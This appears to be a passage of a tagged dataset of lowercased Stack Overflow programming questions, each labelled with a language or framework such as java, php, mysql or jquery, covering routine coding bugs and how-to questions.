  },iphone
how can i locate .net library property/function that return a particular type   occasionally i will know that there is a .net framework function that returns a particular type of object  but i can t recall the property or function name.  it would be really nice to be able to somehow scan the framework or other dll for functions that return a particular type of object.  (for example  it would have helped when i asked <strong><a href= https://stackoverflow.com/questions/1722360/where-can-i-access-there-asp-net-application-cache-from-global-application-start >this question</a></strong>  and i have a similar question again.)    can anyone suggest how i might do this,.net
jquery change style of some td elements on drop/sort of table row  i m very new to jquery  and as usual  want to do something esoteric ;-)    i d like to change the style (to make visible/hidden) some of the td elements of a row when it is dragged into another sortable table.    i ve seen some examples of changing the whole row  but that s not what i want.    i have a receive event setup; i just don t know how to identify individual tds and change their style...   <pre><code>receive: function (event  ui) {    if (this.id ==  table-body-included ) {       // change style of some tds to       }    else {       // change style of some tds to  display:none     } } </code></pre>   thanks  dave,jquery
does the order of static and volatile keywords matter  <pre><code>volatile static int i;  </code></pre>   and    <pre><code>static volatile int i;   </code></pre>   what is the difference between the two  how does the compiler see this,c
substring elements of an array with an array of strpos values  i have an array which contains dynamic number of keys &amp; elements. i also have an array which contains strpos values yet it has same keys with other array.    what i want to do is using the function substr to all elements of first array in which the <strong>needles</strong> will be the elements of second array. here is example arrays which are similar to mine. (please care key numbers of these elements are allways dynamic  i need a dynamic function  not static.)    <pre><code>array ( [213] =&gt; dark kiwi [451] =&gt; dark apple [789] =&gt; for real dark apple ) </code></pre>   now as i want to remove everything before the word  dark   i have strpos of the word  dark  in these elements.   <pre><code>array ( [213] =&gt; 0 [451] =&gt; 0 [789] =&gt; 12 ) </code></pre>   please note that keys are same in both of the arrays. what i need is exactly something like this:    <pre><code>afunctiontosubstrarray($firstarray $secondarray) </code></pre>   <strong>all help is appreciated  thanks for your time. php version: 5.6</strong>,php
how to disapper the images once the page is loaded using css  can any one help me how to disappear the images automatically once the page is loaded using css.,css
how to create dto class  i want to create dto class for user. my input to program is  firstname  lastname lastname.role group1 group2 group3.     so for each user role consist of group_1 group_2 group_3.....    in database i want to store in following format demo demo demo roleid  gorup_1_name  group_1_id  demo demo demo roleid  gorup_2 and group_2_id demo demo demo roleid  gorup_3 and group_3_id    i was able separate all this things   but i want to assign this value to userdto class and stored into database. basically im new to core java part. so how can create structure for this,java
when i try to save this file it creates and folder for the entire path <pre><code>zipfiletocreate =  c:\user\desktop\webservice\file.zip ; </code></pre>   so  when i try to save this file it creates the folder for the path like user\desktop\webservice\file\    why is it so    <pre><code>filestream fs = new filestream(zipfiletocreate  filemode.open); byte[] data = new byte[fs.length]; binaryreader br = new binaryreader(fs); br.read(data  0  data.length); br.close(); response.clear(); response.contenttype =  application/x-zip-compressed ; response.appendheader( content-disposition    filename=  + parameter +  .zip ); deleteoldfiles(); response.binarywrite(data); </code></pre>,asp.net
how aspx is being compiled   how .aspx and aspx.cs file is being compiled  will it be two assemblies or both these files combined one and will be created as one assembly  does any hierarchy/inheritance it follows  .aspx is being created as an corresponding c# code file (only then we could create an assembly right  correct me if i am wrong!) as one in windows form designer.cs file,asp.net
watching for changes since original with an angularjs model  if i have a database object  which is loaded via json within my angular app i would use a structure something like this:    data   <pre><code>{    colours : [ red   yellow   pink   green   purple   orange   blue ] } </code></pre>   controller   <pre><code>angular.module( myapp ).controller( page_controller  function($scope $http) {   $scope.addcolour = function(e) {     $scope.data.colours.push(  )   };    $scope.removecolour = function(e) {     var colour_index = $scope.data.colours.indexof(the_colour_name);     $scope.data.colours.splice(colour_index 1);   }    $http.json( /database/query.json ).success(function(data) {     $scope.data = data;   }) }) </code></pre>   /views/display.html   <pre><code>&lt;div&gt;   &lt;ul&gt;     &lt;ng-include=  /templates/colour.html   ng-repeat= colour in data.colours &gt;&lt;/ng-include&gt;     &lt;li&gt;&lt;a href=   ng-click= addcolour()  required&gt;add a colour&lt;/a&gt;&lt;/li&gt;   &lt;/ul&gt;   &lt;div id= correct &gt;correct&lt;/div&gt; &lt;/div&gt; </code></pre>   /templates/colour.html   <pre><code>&lt;li&gt;&lt;input type= text  ng-model= colour  placeholder= name of colour &gt;&lt;/input&gt; &lt;a href=   ng-click= removecolour(some_way_to_refer_to_this_colour) &gt;x&lt;/a&gt;&lt;/li&gt; </code></pre>   now i can add colours to a list and remove them. (yes the removing them is a little blagged above  i assume you can all see what i m trying to do though!)    my question is: how can i have the <code>#correct</code> div showing only if the colours are the ones originally loaded,angularjs
why does this method have no method print  i am sure this is really  really simple but why does the following not work.   <pre><code>var o = function() { }; o.prototype.print = function( ) { console.log( hi ) }; o.print(); // console message: object function o() { } has no method  print  </code></pre>   fiddle <a href= http://jsfiddle.net/bruno/ptdqs/1/  rel= nofollow >here</a>    <strong>update</strong>    why does this also not work   <pre><code>var o = function() { }; o.prototype.print = function( ) { console.log( hi ) }; var c = object.create( o ); c.print(); </code></pre>   i can start a new question if necessary.,javascript
how to count status that have a same value in sql   i want the output to show the number of transaction and status. if the same number has made successful transactions (which is status=0)  it would count as 1 success even if the same number has made a few transaction.       <pre><code>select cast(t.date as date) as date      (t.transaction + r.request) as alltransaction      (t.success + r.requestsuccess) as allsuccess      t.transaction      t.success      r.request      r.requestsuccess from (     select date          count(distinct no_a) as transaction          count(t.status) as success     from transfer_tx_201503 as t     where status = 0         and cast(date as time) between  00:00:00              and  15:00:00      group by cast(date as date)     ) as t join (     select date          count(distinct no_a) as request          count(r.status) as requestsuccess     from request_tx_201503 as r     where status = 0     group by cast(date as date)     ) as r on cast(t.date as date) = cast(r.date as date) group by date desc; </code></pre>,mysql
exception on passing a bool to a const std::string&  last week i had a funny and thinkable moment... i didn t understand what happened. maybe someone of you can give me a clue.    i wrote a function like this (simplified):   <pre><code>    void read(const std::string&amp; ssource  std::string&amp; sresult  bool bcheck = true) </code></pre>   then later i extended this function with another parameter like this    <pre><code>    void read(const std::string&amp; ssource  std::string&amp; sresult  const std::string&amp; sipadress  bool bcheck = true) </code></pre>   i forgot to change one function call in my program  so it called  read :   <pre><code>read( /file/sepp.dat   sresult  false); </code></pre>   as you see  i passed a <code>false</code> to a <code>const std::string</code> reference.    yes  default parameters are bad  but that s not the point here.    i ve got an exception (i don t remember the exact output):     can t initialize a std::string with a nullptr  or so...    so there are four questions now  that i can t answer myself:    1.) how can it be  that the compiler didn t emit a warning on this     2.) why is the type system unable to find out  the a <code>bool</code> should never  go into  a <code>string</code> this way     3.) why is this happening only to a <code>const std::string&amp;</code>  not a <code>std::string&amp;</code> parameter  (with a non-<code>const</code> <code>std::string</code> there is a compiler error)    4.) is there any possible use of passing a <code>bool</code> to a <code>const std::string</code> reference that makes the compiler think  this might be right,c++
issue with exact match returning wrong results  we are having unexpected results from mysql  we are using the following query...   <pre><code>select * from `tbl.members` where `referredby` like  %mem04912% ; </code></pre>   and it returns correct results(5)  but when we try the exact match as following...   <pre><code>select * from `tbl.members` where `referredby` =  mem04912 ; </code></pre>   we only get one result  but correct value is 5  can you help me resolve the same.,mysql
rails controller - random record  simple question  will this code ensure that the rand() call doesn t return the same record twice in a row     it seems to  from click tests  but i really don t feel confident.   <pre><code>def thoughts     last_thought = 0 if last_thought == nil #this is the part that seems wrong for my goal   th = array.new    thought.all.each do |t|     th &lt;&lt; t.id   end    th.pop(last_thought)   @rand_thought = thought.find(rand(th.first..th.last))   last_thought = @rand_thought.id end </code></pre>  <hr>   based upon @user198201 s suggestions  i ve revised the code to this:   <pre><code>def thoughts   shuffle_thought ||= thought.all.shuffle   @rand_thought = shuffle_thought.pop   @rand_thought end </code></pre>   then to test  i added this method:   <pre><code>def thinker   a = array.new   20.times do     a &lt;&lt; thoughts.id   end   a end </code></pre>   here s what i get now in the rails console:    t = thoughtcontroller.new    => #&lt; thoughtcontroller:0x007f95636ae000>    t.thought.id   <pre><code>thought load (0.4ms)  select  thoughts .* from  thoughts  </code></pre>   => 7    t.thinker   <pre><code>thought load (0.4ms)  select  thoughts .* from  thoughts  thought load (0.4ms)  select  thoughts .* from  thoughts  thought load (0.3ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  thought load (0.2ms)  select  thoughts .* from  thoughts  </code></pre>   => [5  9  4  7  4  5  8  7  7  1  6  1  8  6  4  1  2  7  3  2]     and right there in the middle of the array is a repeat. i m still looking for code to keep from getting the same record twice in a row.,ruby-on-rails
2d map based tile game engine  i m wondering if there is any map creator tool out there that can create terrains for 2d isometric games and export them as some form of xml or other open format document.    for eg. you would create how a 100x100 tile map. use a paint brush to paint colours or textures on the tiles and specific collisions and animation. then export the textures and xml so i can write my game to read this.    if there is no such program out there. i d like suggestions to this method in developing 2d maps. i m the programmer and my friend is the graphics guy whose going to be using the map maker.,.net
exception in thread  main  java.lang.arrayindexoutofboundsexception: 1  i am trying to calculate the mst of a weighted connected graph that is saved within a text file. however  i am getting an exception: <code>arrayindexoutofbounds: 1</code>    i understand that i have a problem and i am trying to access an index of an array which is not valid. i just cannot seem to find where and what to change.  i have searched some similar questions on this site and others but to no avail. if someone could point out where i am going wrong it would be greatly appreciated.   <pre><code>class heap {     private int[] h;       // heap array     private int[] hpos;    // hpos[h[k]] == k     private int[] dist;    // dist[v] = priority of v      private int n;         // heap size      // the heap constructor gets passed from the graph:     //    1. maximum heap size     //    2. reference to the dist[] array     //    3. reference to the hpos[] array     public heap(int maxsize  int[] _dist  int[] _hpos)      {         n = 0;         h = new int[maxsize + 1];         dist = _dist;         hpos = _hpos;     }      public boolean isempty()      {         return n == 0;     }      public void siftup( int k)      {         int v = h[k];          h[0] = 0; //puts dummy node at top of the heap         dist[0] = integer.min_value;           while (dist[v] &lt; dist[h[k / 2]])         {             h[k] = h[k / 2];             hpos[h[k]] = k;             k = k / 2;         }         h[k] = v;         hpos[v] = k;     }      public void siftdown(int k)     {         int v  j;         v = h[k];         j = 2 * k;         while (j &lt;= n)         {             //ensures there is something in the heap  then finds the larger branch             if (j + 1 &lt;= n &amp;&amp; dist[h[j]] &gt; dist[h[j + 1]])             {                 j++;             }              //comparing the position with the node being moved             if (dist[h[j]] &gt;= dist[v])             {                 break;             }              h[k] = h[j];             k = j;             j = k * 2;         }          h[k] = v;         hpos[v] = k;     }       public void insert( int x)      {         h[++n] = x;         siftup( n);     }       public int remove()      {            int v = h[1];         hpos[v] = 0; // v is no longer in heap         h[n+1] = 0;  // put null node into empty spot          h[1] = h[n--];         siftdown(1);          return v;     }  }  class graph {      class node {         public int vert;         public int wgt;         public int data;         public node next;      }      // v = number of vertices     // e = number of edges     // adj[] is the adjacency lists array     private int v  e;     private node[] adj;     private node z;     private int[] mst;      // used for traversing graph     private int[] visited;     private int id;       // default constructor     public graph(string graphfile)  throws ioexception     {         int u  v;         int e  wgt;         node t;           filereader fr = new filereader(graphfile);         bufferedreader reader = new bufferedreader(fr);          string splits =   + ;  // multiple whitespace as delimiter         string line = reader.readline();                 string[] parts = line.split(splits);         system.out.println( parts[] =   + parts[0] +     + parts[1]);          v = integer.parseint(parts[0]);         e = integer.parseint(parts[1]);          // create sentinel node         z = new node();          z.next = z;          // create adjacency lists  initialised to sentinel node z                adj = new node[v+1];                 for(v = 1; v &lt;= v; ++v)         {             adj[v] = z;                        }         // read the edges         system.out.println( reading edges from text file );         for(e = 1; e &lt;= e; ++e)         {             line = reader.readline();             parts = line.split(splits);             u = integer.parseint(parts[0]);             v = integer.parseint(parts[1]);              wgt = integer.parseint(parts[2]);             system.out.printf( edge %1$s--(%2$s)--%3$s  +  \r\n   tochar(u)  wgt  tochar(v));                  // write code to put edge into adjacency matrix                  t = new node();             t.data = wgt;             t.vert = u;             t.next = adj[v];              adj[v] = t;              t = new node();             t.data = wgt;             t.vert = v;             t.next = adj[u];              adj[u] = t;         }               }      // convert vertex into char for pretty printing     private char tochar(int u)     {           return (char)(u + 64);     }      // method to display the graph representation     public void display() {         int v;         node n;          for(v=1; v&lt;=v; ++v){             system.out.print( \nadj[  + tochar(v) +  ] -&gt;  );             for(n = adj[v]; n != z; n = n.next)                  system.out.print(  |  + tochar(n.vert) +   |   + n.wgt +  | -&gt; );             }         system.out.println(  );     }        public void mst_prim(int s)     {         int v  u;         int wgt  wgt_sum = 0;         int[]  dist  parent  hpos;         node t;          //the distance from node to node         dist = new int[v + 1];          //the parent node         parent = new int[v + 1];          //current heap position         hpos = new int[v + 1];           // initialising parent and position to zero  and dist to the max value         for (v = 1; v &lt;= v; v++)         {             dist[v] = integer.max_value;             parent[v] = 0;             hpos[v] = 0;         }          heap heap = new heap(v + 1  dist  hpos);         heap.insert(s);          dist[s] = 0;         for(v = 0; v&lt;dist[v]; v++)         {             dist[v] = dist[v];             parent[v] = 0;             hpos[v] = 0;         }          dist[s] = 0;          heap pq =  new heap(v  dist  hpos);         pq.insert(s);          while (!heap.isempty())         {              v = heap.remove();              system.out.printf( \nadding edge {0}--({1})--{2}   tochar(parent[v])  dist[v]  tochar(v));               //calculates the sum of the weights             wgt_sum += dist[v];              //prevents duplicates             dist[v] = -dist[v];              for (t = adj[v]; t != z; t = t.next)             {                  if (t.data &lt; dist[t.vert])                 {                     dist[t.vert] = t.data;                     parent[t.vert] = v;                      //if the vertex is empty  insert next vertex                     if (hpos[t.vert] == 0)                     {                         heap.insert(t.vert);                     }                     else //else call sift up                     {                         heap.siftup(hpos[t.vert]);                     }                 }             }         }              system.out.print( \n\nweight of mst =   + wgt_sum +  \n );             mst = parent;              }          public void showmst()     {             system.out.println( minimum spanning tree parent array is: );             for(int v = 1; v &lt;= v; ++v)             {                 system.out.println(tochar(v) +   -&gt;   + tochar(mst[v]));             }             system.out.println(  );     }  }  public class primlists {     public static void main(string[] args) throws ioexception     {          int s = 2;         string fname =  wgraph3.txt ;                         graph g = new graph(fname);          g.display();       }  }  </code></pre>   the exceptions seem to be happen at these two lines but i cannot see what is wrong with them.   <pre><code>system.out.println( parts[] =   + parts[0] +     + parts[1]); graph g = new graph(fname); </code></pre>   the content of the file wgraph3.txt is as follows   <pre><code>7   11 1   2   7 1   4   5 2   3   8 2   4   9 2   5   7 3   5   5 4   5   15 4   6   6 5   6   8 5   7   9 6   7   11 </code></pre>   this format seems fine to me  i have been working so long on this i am just not seeing the problem.,java
how to fetch unmatching records from two sql tables   i want to fetch the unmatching records from two table in sql  the table structure is as follows:    table1   <pre><code>id      name 1       prashant 2       ravi 3       gaurav 5       naween 7       sachin </code></pre>   table2   <pre><code>id      name 1       prashant 2       ravi 4       alok 6       raja </code></pre>   the output i want is   <pre><code>id      name 3       gaurav 4       alok 5       naween 6       raja 7       sachin </code></pre>   what will be the query to fetch the required output in sql,sql
set string with quotes to label in objective c programming   tracklbl2.text = @  nonstop bollywood music  ;    i try this but not working. how to text with double quotes.,iphone
.slidetoggle inside div not working in ie7 mega menu  i have built a mega menu  where when you click on the nav link it opens  and when you click again it closes (that works correctly). there is also a close link inside that should toggle it closed when clicked  however in ie  it just reopens it everytime it is clicked. it works correctly in firefox  chrome and safari.    it menu has to open and close with clicks because some of the computers use touch screens. any ideas     here is the stripped down code (showing only one nav link):    jquery:   <pre><code>$(document).ready(function(){  $( div.megamenu&gt; div ).hide();     /* this toggles the nav link open and closed --works correctly */  $( .benefits-down ).click(function() {       $( .benefits-dropped ).slidetoggle( fast );   });  /*this is suppose to also toggle it closed  but it doesn t work in ie*/   $( .benefits-close ).click(function() {             $( .benefits-dropped ).slidetoggle( fast );   });  }); </code></pre>   html:   <pre><code>&lt;div class= megamenu &gt;     &lt;ul&gt;     &lt;li class= benefits-down &gt;link goes here /*removed so question would post */&lt;/li&gt;  &lt;div class= benefits-dropped &gt;          links                                   &lt;div class= benefits-close &gt;                    &lt;a href= # &gt;close&lt;/a&gt;                        &lt;/div&gt;          &lt;/div&gt;       &lt;/ul&gt; &lt;/div&gt; </code></pre>,jquery
how does the compiler know how many arguments to generate while using @property   i m studying objective c with  programming in objective c  book and i got to the part where he explain on <code>@property</code> and <code>@synthesize</code>  but im trying to understand something: since declaring the setter and getter i had to provide an argument names  in this case it was only 1 for each but im pretty positive its possible to declare getter/setter with more than 1. in that case  how does the compiler know how many arguments to generate while using <code>@property</code>,objective-c
java imageicon on a applet  i m trying to set a imageicon next to a jlabel but     i cannot find what import the imageicon is.. i tried awt but it s nogo.    i m gettign this error:   <pre><code>c:\users\dan\documents\mainclass.java:23: cannot find symbol symbol  : class imageicon location: class mainclass     imageicon warnicon = new imageicon( group.png );     ^ c:\users\dan\documents\mainclass.java:23: cannot find symbol symbol  : class imageicon location: class mainclass     imageicon warnicon = new imageicon( group.png );                              ^ 2 errors </code></pre>   tool completed with exit code 1    code:   <pre><code>import java.awt.gridlayout;  import javax.swing.icon; import javax.swing.jframe; import javax.swing.jlabel; import javax.swing.border.border; import javax.swing.border.lineborder; import javax.swing.plaf.metal.metaliconfactory;  import java.util.*; import java.awt.*;  public class mainclass {    public static void main(string args[]) {     jframe frame = new jframe( label text pos );     frame.setdefaultcloseoperation(jframe.exit_on_close);      frame.setlayout(new gridlayout(2  2));      border border = lineborder.creategraylineborder();     //icon warnicon = imageio.read(getclass().getresource( group.png ));     imageicon warnicon = new imageicon( group.png );     //image warnicon = imageio.read(getclass().getresource( group.png ));      jlabel label1 = new jlabel(warnicon);     label1.settext( left-bottom );     label1.sethorizontaltextposition(jlabel.left);     label1.setverticaltextposition(jlabel.bottom);     label1.setborder(border);     frame.add(label1);      jlabel label2 = new jlabel(warnicon);     label2.settext( right-top );     label2.sethorizontaltextposition(jlabel.right);     label2.setverticaltextposition(jlabel.top);     label2.setborder(border);     frame.add(label2);      jlabel label3 = new jlabel(warnicon);     label3.settext( center-center );     label3.sethorizontaltextposition(jlabel.center);     label3.setverticaltextposition(jlabel.center);     label3.setborder(border);     frame.add(label3);      jlabel label4 = new jlabel(warnicon);     label4.settext( center-bottom );     label4.sethorizontaltextposition(jlabel.center);     label4.setverticaltextposition(jlabel.bottom);     label4.setborder(border);     frame.add(label4);      frame.setsize(300  200);     frame.setvisible(true);   } } </code></pre>,java
how can i add smileys in iphone chat application  i ve implemented a chat module in a social networking application for iphone. but now we have to include smileys with the text message that we are sending. the text is displayed in a label in the chat window. the binding of message is done with the following manner. while binding each messages  the following procedure is doing. an uiview is created  inside that an uiimageview is addsubviewed for loading bubble image  then inside the uiimageview  label is addsubviewed. that means message is finally displayed inside a label. but in the case of including smileys with the text message  is it possible to add smiley in the label. now i had created a dictionary in the plist which include key for the image and image name. can anybody have the solution for this task. actually i  ve been confused at loading smiley images along with text in the label. hope anybody will give a nice solution for this issue.,iphone
how to pass an argument to the eventhandler  no it s not that kind of basic question. i am doing a application and got a scenerio like  the file will be downloaded then it will be uploaded to the ftp server  then the local copy will be deleted  then one entry will be placed in a dictionary for that filename. so  the code is below   <pre><code>public void download_this_webpage(string url  string cookies_string  string local_saving_file_name_with_path) {     webclient wb = new webclient();     wb.headers.add(httprequestheader.cookie  cookies_string);     // below i want to pass this local_file _path to the event handler     wb.downloadfilecompleted += new system.componentmodel.asynccompletedeventhandler(wb );     wb.downloadfileasync(new uri(url)  local_saving_file_name_with_path +  .html ); }  public void data_download_completed(object sender  system.componentmodel.asynccompletedeventargs args) {       //use the file name to upload the file to ftp  }  public ftp_completed {     // delete the file } </code></pre>   but  i dont know how to pass that filename to the event handler of download_completed. can anybody guide me in this    <strong>edit:</strong>    thank you for the answers from  darin  and  frederic . is there any general way to pass the custom data to the (already defined)event handler like below   <pre><code>void main_fn() {     string my_data =  data ;     some_object a = new some_object();     some_object.click_event += new eventhandler(click_happened);     (assume that the event passes two ints  i also want to pass the string  my_data        to  click_happened )     some_object.start(); }  void click_happened(int a  int b) {    // i want to get the string  my_data  here.  } </code></pre>   in short how to trick the signature,c#
can we do alias for sql entries   i got accents in my database and while querying  i want my database to be accent insensitive. unfortunately  i cannot use <code>collate</code> because my company does not want to change their db structure. can we provide alias for database entries  i looked up alias but i didn t get what i was hoping for.,sql
display first 4 digits of id column from mysql table  i have a session that pulls information from a database    <pre><code>&lt; php session_start(); echo $_session[ id ];  &gt; </code></pre>   i am wanting to display a  shorter  version of this id as a  short id  in the webpage. the id is 16 digits long i want to only display the first 4 digits.     i tried    <pre><code>&lt; php session_start(); echo $_session[ id ]-12;  &gt; </code></pre>   but it only gave me a weird number like this:    <pre><code>5.3830822562889e+15 </code></pre>   the original id is: <code>5383082256288945</code> so i am wanting to display: <code>5383</code>,php
how to select all child elements which are too deep in dom  i have html document like this:   <pre><code>&lt;div id= obselect &gt;         &lt;div id= objects &gt;           &lt;span id= j_id0:j_id2:userpanel &gt;                     &lt;table&gt;                        &lt;tbody&gt;&lt;tr&gt;                             &lt;th class= subheading  width= 40% &gt;available objects&lt;/th&gt;                             &lt;th class= subheading  width= 20% &gt;&amp;nbsp;&lt;/th&gt;                             &lt;th class= subheading  width= 40% &gt;selected objects&lt;/th&gt;                             &lt;/tr&gt;                             &lt;tr&gt;                                 &lt;td&gt;&lt;span id= j_id0:j_id2:snondrag &gt;                                               &lt;select name= j_id0:j_id2:j_id18  multiple= multiple  size= 5 &gt;                             &lt;option value= 001 &gt;account&lt;/option&gt;                                                   &lt;option value= 002 &gt;note&lt;/option&gt;                                                    &lt;option value= a0j &gt;text ad&lt;/option&gt;                                              &lt;/select&gt;                                   &lt;/span&gt;&lt;/td&gt;                              &lt;/tr&gt;                        &lt;/tbody&gt;                    &lt;/table&gt;         &lt;/span&gt;            &lt;/div&gt; &lt;/div&gt; </code></pre>   in above code i need to apply css on <code>select</code> tag. but i am not able to find a way to to this. on my server this document is dynamically generated so i don t have control over which tags it uses. the only hardcoded <code>div</code> is outer most div :  <code>&lt;div id= obselect &gt;</code>. is there any way to  apply style on all <code>select</code> tags inside this <code>div</code> by using something like:   <pre><code>#obselect &gt; select {    // css } </code></pre>,css
alternate code in objective of java  recently i have switched from android to iphone.....could any one let me know what is the alternete code in objective c...thankx in advance   <pre><code>etname = (edittext) findviewbyid(r.id.etname);  name = etname.gettext().tostring(); </code></pre>,objective-c
what happens when we do the re-declaration of object in javascript   can anyone please explain me why foo.bar is undefined  as per my understanding it should have printed 3. please correct me if i am wrong.    here is the code.          <pre><code>    var bar = 1      foo = {};      foo: {         bar: 2;         baz: ++bar;     };      foo.bar; //undefined     foo.baz; //undefined      bar; //2 </code></pre>   thanks in advance;,javascript
what is stored in the input buffer if i provide double for an int in c++   my code is :   <pre><code>int main() {     int x y z;     cout&lt;&lt; please input first integer :  ;     x = getint();     cin&gt;&gt;z&gt;&gt;y;     cout&lt;&lt;x &lt;&lt; \n &lt;&lt;z&lt;&lt; \n &lt;&lt;y;      return 0; } </code></pre>   when i provide input such as   <pre><code>please input first integer : 34.5 34 0 -2 process returned 0 (0x0)   execution time : 3.431 s press any key to continue. </code></pre>   what s happening over here,c++
detect request is for html template or rest data in $httpprovider interceptors  i need intercept http request for add base url (domain url) to http request and add access_token for authentication (token based)  template domain difer from rest api domain  but my problem is that i can not recognize request is for template or rest api (data). my code is:   <pre><code>.config([ $httpprovider   function($httpprovider) {          $httpprovider.defaults.usexdomain = true;         delete $httpprovider.defaults.headers.common[ x-requested-with ];          $httpprovider.interceptors.push( httpmiddleware );     } ]).factory( httpmiddleware   [     function () {         return {             request: function (config) {                 // need to recognise request is for html template or rest api                 var baseurl =  http://localhost:9926/api/ ;                 config.url = baseurl  + config.url;                 return config;             }         };     } ]);; </code></pre>,angularjs
how to implement delete intermediate table  in my java program  i want to achieve such a piece of sql  when delete table a with code using for condition and <code>delete table b(linkid=deleted ids of table a)</code>      table a:   <pre><code>=============================================== id          |        code      |    names     | =============================================== 1           |          a       |    name1     | 2           |          a       |    name2     | 3           |          a       |    name3     | 4           |          b       |    name4     | 5           |          b       |    name5     | 6           |          b       |    name6     | 7           |          b       |    name7     | 8           |          c       |    name8     | </code></pre>   table b( intermediate table):   <pre><code>================================ id          |       linkid     |... ================================ 1           |          1       |... 2           |          2       |... 3           |          2       |... 4           |          2       |... 5           |          3       |... 6           |          7       |... 7           |          8       |... 8           |          8       |... </code></pre>   like this:   <pre><code>delete from a where code = a delete from b where linkid =(1 2 3) </code></pre>   <strong>how to use an sql statement to achieve </strong>,sql
returning multiple entries with where subseach  i m facing the following problem: i have a table (new_form) that lists units that should answer a formulary. the information about those units are in another table (units)  including the code of city (city_code) where they are. i want to find the information in the first table (new_form) about all the units that are there and are located in an specific city (8383).   <pre><code>select * from `new_form` where `unit_number`=(     select `unit_number`     from `units`     where `city_code`=8383 ) </code></pre>   the way it is now  i get this error:   <pre><code>#1242 - subconsulta retorna mais que 1 registro </code></pre>,mysql
error: no match for  operator<<  and  operator>> . help please   newbie here. taking a computer science module in my college. one of the exercises asked us to write a program that uses (int) data type. i followed <em>all</em> of the codes written in my practical book  though i thought there was something fishy about it  and to prove i was right  after compiling  i got some errors.    here s the code:   <pre><code>//write a program that uses (int) data type.  #include&lt;iostream&gt; using namespace std; #include&lt;cstdlib&gt; int main() {     int day  month  year;      cout&gt;&gt;   please enter the day of your birthday\n ;     cin&lt;&lt;day;      cout&gt;&gt;   please enter the month of your birthday &lt;&lt;endl;     cin&lt;&lt; month;      cout&gt;&gt;   please enter the year of your birthday &lt;&lt; endl;     cin&lt;&lt;year;      cout&lt;&lt;  \nday:  &lt;&lt;    month:   &lt;&lt;month&lt;&lt;    year:   &lt;&lt;year;      system ( pause );     return 0; } </code></pre>   the errors i got are:   <blockquote>    10 no match for  operator>>  in  std::cout >>   please enter the day of your birthday\n           11 no match for  operator&lt;&lt;  in  std::cin &lt;&lt; day          13 no match for  operator>>  in  std::cout >>   please enter the month of your birthday           14 no match for  operator&lt;&lt;  in  std::cin &lt;&lt; month          16 no match for  operator>>  in  std::cout >>   please enter the year of your birthday           17 no match for  operator&lt;&lt;  in  std::cin &lt;&lt; year    </blockquote>   i m using bloodshed c++ software  version 4.9.9.2. any help would be greatly appreciated. thank you.,c++
how can a <label> completely fill its parent <td>   here is the relevant code (doesn t work):   <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;testing td checkboxes&lt;/title&gt; &lt;style type= text/css &gt; td { border: 1px solid #000; } label { border: 1px solid #f00; width: 100%; height: 100% } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;table&gt;   &lt;tr&gt;     &lt;td&gt;some column title&lt;/td&gt;     &lt;td&gt;another column title&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;value 1&lt;br&gt;(a bit more info)&lt;/td&gt;     &lt;td&gt;&lt;label&gt;&lt;input type= checkbox  /&gt; &amp;nbsp;&lt;/label&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td&gt;value 2&lt;/td&gt;     &lt;td&gt;&lt;input type= checkbox  /&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   the reason is that i want a click anywhere in the table cell to check/uncheck the checkbox.    edits: by the way  no javascript solutions please  for accessibility reasons. i tried using display: block; but that only works for the width  not for the height,css
is it bad practice to pass controls as parameters  for example i have a method in the <code>booking</code> class that updates a <code>datagridview</code> control in the <code>bookingform</code>.   <pre><code>booking booking = new booking(); booking.getbookings(datagridviewbooking); </code></pre>   similarly:   <pre><code>booking.gettables(comboboxtables); </code></pre>   is it bad practise to use controls as parameters  i have changed all the <code>textbox</code> parameters to strings and passed <code>textbox.text</code> but how would something similar be done with other controls or are there any better ways to do this,c#
disabling the ability to highlight text in an input  i would like to know if there is a way  using jquery  to disable the text from being highlighted when setting a caret position to the front of the text already in an input box     in the sample below  place your cursor in the leftmost input box and then press the tab key. you will notice that when the cursor moves to the next input the text is highlighted when the caret position is changed - this is what i would like to be able to stop.   <pre><code>&lt;input type= text  value= some text here...  class= populated-text &gt; &lt;input type= text  value= any default text you like  class= populated-text &gt; &lt;input type= text  value= will be used as empty  class= populated-text &gt;  $( .populated-text ).each(function () {     var input = $(this);     input.data( blank-value   input.val());     input.data( data-entered   false);     input.addclass( grayed );     input.keydown(keydown);     input.blur(blur);     input.focus(focus);     input.mousedown(mouse);     input.mouseup(mouse); }); </code></pre>   here is a sample: <a href= http://jsfiddle.net/t5hmy/  rel= nofollow >http://jsfiddle.net/t5hmy/</a>,jquery
cannot use offset and limit in stored procedure  currently i am using <code>offset</code> and <code>limit</code> to retrieve limited data from table  but when i move the database from <code>development</code> to <code>hosting server</code>  it show syntax error on query  if i remove <code>offset</code> and <code>limit</code> syntax  it will be work well. any idea or solution on this problem    <pre><code>    select     e.a      e.b      e.c      e.d      e.e      e.f      e.g     from     t1 e     where e.a = 1     order by e.b desc     limit in_count     offset in_offset; </code></pre>   <img src= https://i.stack.imgur.com/ngn4r.jpg  alt= enter image description here >,mysql
